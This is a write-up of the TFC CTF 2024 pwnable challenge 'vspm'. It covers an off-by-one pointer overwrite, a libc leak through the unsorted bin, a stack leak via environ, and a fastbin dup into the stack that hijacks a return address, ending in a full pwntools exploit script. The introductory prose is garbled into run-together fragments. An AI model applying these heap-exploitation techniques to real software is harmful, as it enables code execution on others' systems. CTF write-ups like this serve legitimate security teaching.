TFC CTF 2024 - vspm
Table of Contents
TFC CTF 2024 pwnable challenge This structure can store up to 10 entries in the In the While we can write Before proceeding with exploitation, checking the protections reveals that all regions (code, stack, libc) are randomized. With the current One commonly used heap memory leak technique involves leaking The problem is that chunks need to be at least 0x80 bytes to be sent to the unsorted bin when freed, but the maximum input First, arrange the chunks considering the offset differences between Initially, I thought I only needed to consider the offset between Now to make Using During this process, the freed chunk’s Fortunately, requesting a chunk smaller than 0x100 still allocates from the unsorted bin by splitting it, so I requested a 0x30-sized chunk: The With the libc leak successful, I can now print any libc region using First, free Since Similar to using the After executing this payload, the To trigger the double free vulnerability, we need to overwrite The reason for using 0x60-sized While it might be possible to manipulate fastbin carefully or perform heap leak, the probability wasn’t too low, so I proceeded as is: As in the payload above, matching Now requesting the 0x60-sized chunk via So I searched for a stack location where I could construct a fake chunk header. Initially, I tried using Constructing a fake chunk header using However, there’s a contradiction: to allocate a 0x70-sized chunk, we need to input 0x70 for So I needed to find another area. Since there’s no function that terminates by returning, I realized that when allocating and reading in The problem again is the fake chunk header. Checking the area that can overwrite While 0x60 is stored at Here’s the trick: chunk headers don’t need proper alignment, so considering that the highest byte of stack addresses is There are two areas that can be used as fake chunk headers: The supposed reason is that this area is just above the current function’s stack, overlapping with Anyway, to set Therefore, the third 0x00. Introduction
[*] '/home/user/vspm'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.' Structure
struct password {
char *credential;
char name[0x20];
}code_base + 0x4060 region. 0x01. Vulnerability
unsigned __int64 save_12EE()
{
...
__isoc99_scanf("%d", &len);
getchar();
if ( len >= 0x79 )
{
puts("Sorry, not enough resources!");
exit(0);
}
...
password_4060[i].credential = malloc(len);
printf("Enter credentials: ");
read(0, password_4060[i].credential, (len + 1));
printf("Name of the credentials: ");
read(0, password_4060[i].name, (len + 1));
...
}save() function for storing passwords, the user inputs the size len for credential, then reads len + 1 bytes. However, since the fixed-length(0x20) name also reads len + 1 bytes, we can overwrite the next password structure’s credential.len + 1 bytes in credential to overwrite the first byte of the next chunk’s header, I couldn’t find an exploitation path by modifying prev_size. 0x02. Exploit
credential overwrite vulnerability, I needed to leak at least one memory region. Libc Leak
main_arena through the unsorted bin. Since main_arena is in the libc region, we can obtain the libc base by calculating the offset.len is 0x79. Since heap chunks are allocated sequentially and only the 0xXXXXXXXXXXXXX000 portion of the address varies, I can construct a fake chunk and use the credential overwrite vulnerability to make the next password structure’s credential point to it: payload = p64(0) # fake chunk -> prev_size
payload += p64(0x111) # fake chunk -> size
save(s, 0x30, payload, b"0000")
save(s, 0x30, b"BBBB", b"1111")
save(s, 0x30, b"CCCC", b"2222")
save(s, 0x40, b"DDDD", b"3333")
save(s, 0x30, payload, b"4444")
save(s, 0x60, b"FFFF", b"5555")
save(s, 0x60, b"GGGG", b"6666")0000, 4444, and the top chunk.0000 and 4444, but the offset with the top chunk also needs to match for successful fake chunk free:# first password structure
gef➤ x/5gx 0x555555558060
0x555555558060: 0x000055555555d010 0x0000000030303030
0x555555558070: 0x0000000000000000 0x0000000000000000
0x555555558080: 0x0000000000000000
# first fake chunk header
gef➤ x/2gx 0x000055555555d010
0x55555555d010: 0x0000000000000000 0x0000000000000111
# second fake chunk header
gef➤ x/2gx 0x000055555555d010 + 0x110
0x55555555d120: 0x0000000000000000 0x0000000000000111
# top chunk
gef➤ x/2gx 0x000055555555d010 + 0x220
0x55555555d230: 0x0000000000000000 0x0000000000020dd12222’s credential point to the fake chunk: delete(s, b"1") # free "1111"
save(s, 0x30, b"BBBB", b"1" * 0x20 + b"\x20") # alloc "1111" and overwrite next pointer
delete(s, b"2") # free fake chunk -> unsorted bin1111 to make 2222’s credential point to 0x55555555d020 makes the value at 0x55555555d010 act as the chunk header. When we free 2222, it’s treated as freeing a 0x100-sized chunk and moves to the unsorted bin:────────────────────────── Unsorted Bin for arena at 0x7ffff7dd0b60 ──────────────────────────
[+] unsorted_bins[0]: fw=0x55555555d010, bk=0x55555555d010
→ Chunk(addr=0x55555555d020, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
gef➤ x/4gx 0x55555555d010
0x55555555d010: 0x0000000000000000 0x0000000000000111
0x55555555d020: 0x00007ffff7dd0bc0 0x00007ffff7dd0bc0fd and bk get written with main_arena addresses. Since memory isn’t cleared when the region is returned via malloc, we can leak it through check(). save(s, 0x30, b"\xc0", b"2222") # alloc from unsorted bin
r = check(s)
arena = 0x3b4cc0
libc = u64(r.split(b"2222 --> ")[1][:6] + b"\x00\x00") - arena
log.info(f"libc : {hex(libc)}")\xc0 I input is the first byte of main_arena from the debugger. While we don’t need to match it since we calculate the offset anyway, we need to provide some input, so I matched it. Stack Leak
credential overwrite and check(). The environ variable in the libc region stores a stack address, so I used this for stack leak: delete(s, b"0")
environ = 0x3b75d8
payload = b"0" * 0x20
payload += p64(libc + environ)
save(s, 0x30, b"AAAA", payload)0000 and overwrite so 1111’s credential points to environ: r = check(s)
stack = u64(r.split(b"1111 --> ")[1][:6] + b"\x00\x00") - 0x110
log.info(f"stack : {hex(stack)}")1111 points to environ and check() prints credential information, we can obtain the stack address stored in environ. Fastbin Dup into Stack
credential overwrite vulnerability to point to a fake chunk, we can trigger a double free vulnerability by pointing to another credential: save(s, 0x60, b"FFFF", b"5555")
save(s, 0x60, b"GGGG", b"6666")
save(s, 0x60, b"HHHH", b"7777")password structures contain:gef➤
0x555555558128: 0x000055555555d1d0 0x0000000035353535
0x555555558138: 0x0000000000000000 0x0000000000000000
0x555555558148: 0x0000000000000000
gef➤
0x555555558150: 0x000055555555d160 0x0000000036363636
0x555555558160: 0x0000000000000000 0x0000000000000000
0x555555558170: 0x0000000000000000
gef➤
0x555555558178: 0x000055555555d240 0x0000000037373737
0x555555558188: 0x0000000000000000 0x0000000000000000
0x555555558198: 0x00000000000000007777’s 0x55555555d240 with 5555’s 0x55555555d1d0.credential will be explained later. Since we allocate three 0x60-sized chunks, the second byte of the chunk address differs. In 0xd1d0, the 0x1d0 is fixed and only the 0xd000 portion varies, creating a 1/16 probability for successful exploitation. delete(s, b"6")
save(s, 0x60, b"GGGG", b"6" * 0x20 + b"\xd0\xd1")
delete(s, b"5")
delete(s, b"6")
delete(s, b"7")7777’s credential with 5555’s and freeing in order 5555, 6666, 7777 results in:0x55555555d1d0 -> 0x55555555d160 -> 0x55555555d1d0malloc returns 0x55555555d1d0. If we write a stack address here and can write a fake chunk header at that address, it gets added to the fastbin list.save() function’s stack:unsigned __int64 save_12EE()
{
unsigned int len; // [rsp+8h] [rbp-68h] BYREF
int i; // [rsp+Ch] [rbp-64h]
...
}len and i gives 0x70 bytes to the return address, which is less than the maximum allocation size of 0x78, so it seemed feasible.len, but when constructing the fake chunk header, we need to input 0x80 for the size to match.save(), overwriting read()’s return address might work:unsigned __int64 save_12EE()
{
...
password_4060[i].credential = malloc(len);
printf("Enter credentials: ");
read(0, password_4060[i].credential, (len + 1));
...
}read()’s return address just before malloc():gef➤ x/16gx 0x7fffffffdbd0
0x7fffffffdbd0: 0x0000000000000000 0x0000000000000000
0x7fffffffdbe0: 0x00007fffffffdce0 0x00007ffff7a6dd8e
0x7fffffffdbf0: 0x00007ffff7ff4000 0x0000003000000008
0x7fffffffdc00: 0x00007fffffffdcd0 0x00007fffffffdc10
0x7fffffffdc10: 0x000000000000000a 0x00007fffffffdcd4
0x7fffffffdc20: 0x0000000000000000 0x00007ffff7b030c3
0x7fffffffdc30: 0x0000000000000000 0x00007fffffffdcc0
0x7fffffffdc40: 0x00005555555551a0 0x00005555555553970x7fffffffdbf8, this value was stored during internal logic execution after being passed as an argument to malloc(), creating the same contradiction.0x7f, I examined memory again:gef➤ x/16gx 0x7fffffffdbd5
0x7fffffffdbd5: 0x0000000000000000 0xffffffdce0000000
0x7fffffffdbe5: 0xfff7a6dd8e00007f 0xfff7ff400000007f
0x7fffffffdbf5: 0x300000000800007f 0xffffffdcd0000000
0x7fffffffdc05: 0xffffffdc1000007f 0x000000000a00007f
0x7fffffffdc15: 0xffffffdcd4000000 0x000000000000007f
0x7fffffffdc25: 0xfff7b030c3000000 0x000000000000007f
0x7fffffffdc35: 0xffffffdcc0000000 0x55555551a000007f
0x7fffffffdc45: 0x5555555397000055 0x555555618f0000550x7fffffffdc15 and 0x7fffffffdc25. Setting fd to 0x7fffffffdc15 fails malloc(), while 0x7fffffffdc25 succeeds.malloc()’s stack region, and values stored at 0x7fffffffdc15 get overwritten as malloc() uses its stack internally.0x7fffffffdc25 as fd, after calculating the offset with the acquired stack address and allocating 0x55555555d1d0, the fastbin is configured as:0x55555555d160 -> 0x55555555d1d0 -> 0x7fffffffdc35malloc() returns the stack address, and we can calculate the offset to overwrite read()’s return address with a one-shot gadget: payload = p64(stack - 0xa3)
save(s, 0x60, payload, b"5555")
save(s, 0x60, b"GGGG", b"6666")
save(s, 0x60, payload, b"7777")
delete(s, b"0")
one_gadget = 0xe1fa1
payload = b"A" * 0x13
payload += p64(libc + one_gadget)
save(s, 0x68, payload, b"0000", fin = 1) 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "vspm"
code_base = 0x0000555555554000
bp = {
'save' : code_base + 0x12EE,
'malloc_of_save' : code_base + 0x1414,
'check' : code_base + 0x14ED,
'cred' : code_base + 0x4060,
}
gs = f'''
continue
b *{bp['malloc_of_save']}
'''
context.terminal = ['tmux', 'splitw', '-hf']
def save(s, length, cred, name, fin = 0):
s.sendline(b"1")
s.recvuntil(b"length: ")
s.sendline(str(length).encode())
s.recvuntil(b"credentials: ")
s.send(cred)
if fin:
return
s.recvuntil(b"credentials: ")
s.send(name)
return s.recvuntil(b"Input: ")
def check(s):
s.sendline(b"2")
return s.recvuntil(b"Input: ")
def delete(s, index):
s.sendline(b"3")
s.recvuntil(b"index: ")
s.sendline(index)
return s.recv()
def main(port, debug):
if(port):
s = remote("0.0.0.0", port)
else:
s = process(BINARY)
if debug:
gdb.attach(s, gs)
elf = ELF(BINARY)
log.info(f"cred : {hex(bp['cred'])}")
s.recv()
payload = p64(0) # fake chunk -> prev_size
payload += p64(0x111) # fake chunk -> size
save(s, 0x30, payload, b"0000")
save(s, 0x30, b"BBBB", b"1111")
save(s, 0x30, b"CCCC", b"2222")
save(s, 0x40, b"DDDD", b"3333")
save(s, 0x30, payload, b"4444")
save(s, 0x60, b"FFFF", b"5555")
save(s, 0x60, b"GGGG", b"6666")
# libc leak
delete(s, b"1") # free "1111"
save(s, 0x30, b"BBBB", b"1" * 0x20 + b"\x20") # alloc "1111" and overwrite next pointer
delete(s, b"2") # free fake chunk -> unsorted bin
save(s, 0x30, b"\xc0", b"2222") # alloc from unsorted bin
r = check(s)
arena = 0x3b4cc0
libc = u64(r.split(b"2222 --> ")[1][:6] + b"\x00\x00") - arena
log.info(f"libc : {hex(libc)}")
# flush unsorted bin
save(s, 0x60, b"HHHH", b"7777")
save(s, 0x50, b"IIII", b"8888")
delete(s, b"7")
delete(s, b"8")
# stack leak
delete(s, b"0")
environ = 0x3b75d8
payload = b"0" * 0x20
payload += p64(libc + environ)
save(s, 0x30, b"AAAA", payload)
r = check(s)
stack = u64(r.split(b"1111 --> ")[1][:6] + b"\x00\x00") - 0x110
log.info(f"stack : {hex(stack)}")
# fastbin dup
delete(s, b"5")
delete(s, b"6")
save(s, 0x60, b"FFFF", b"5555")
save(s, 0x60, b"GGGG", b"6666")
save(s, 0x60, b"HHHH", b"7777")
pause()
delete(s, b"6")
save(s, 0x60, b"GGGG", b"6" * 0x20 + b"\xd0\xd1")
delete(s, b"5")
delete(s, b"6")
delete(s, b"7")
payload = p64(stack - 0xa3)
save(s, 0x60, payload, b"5555")
save(s, 0x60, b"GGGG", b"6666")
save(s, 0x60, payload, b"7777")
delete(s, b"0")
one_gadget = 0xe1fa1
payload = b"A" * 0x13
payload += p64(libc + one_gadget)
save(s, 0x68, payload, b"0000", fin = 1)
s.interactive()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.port, args.debug)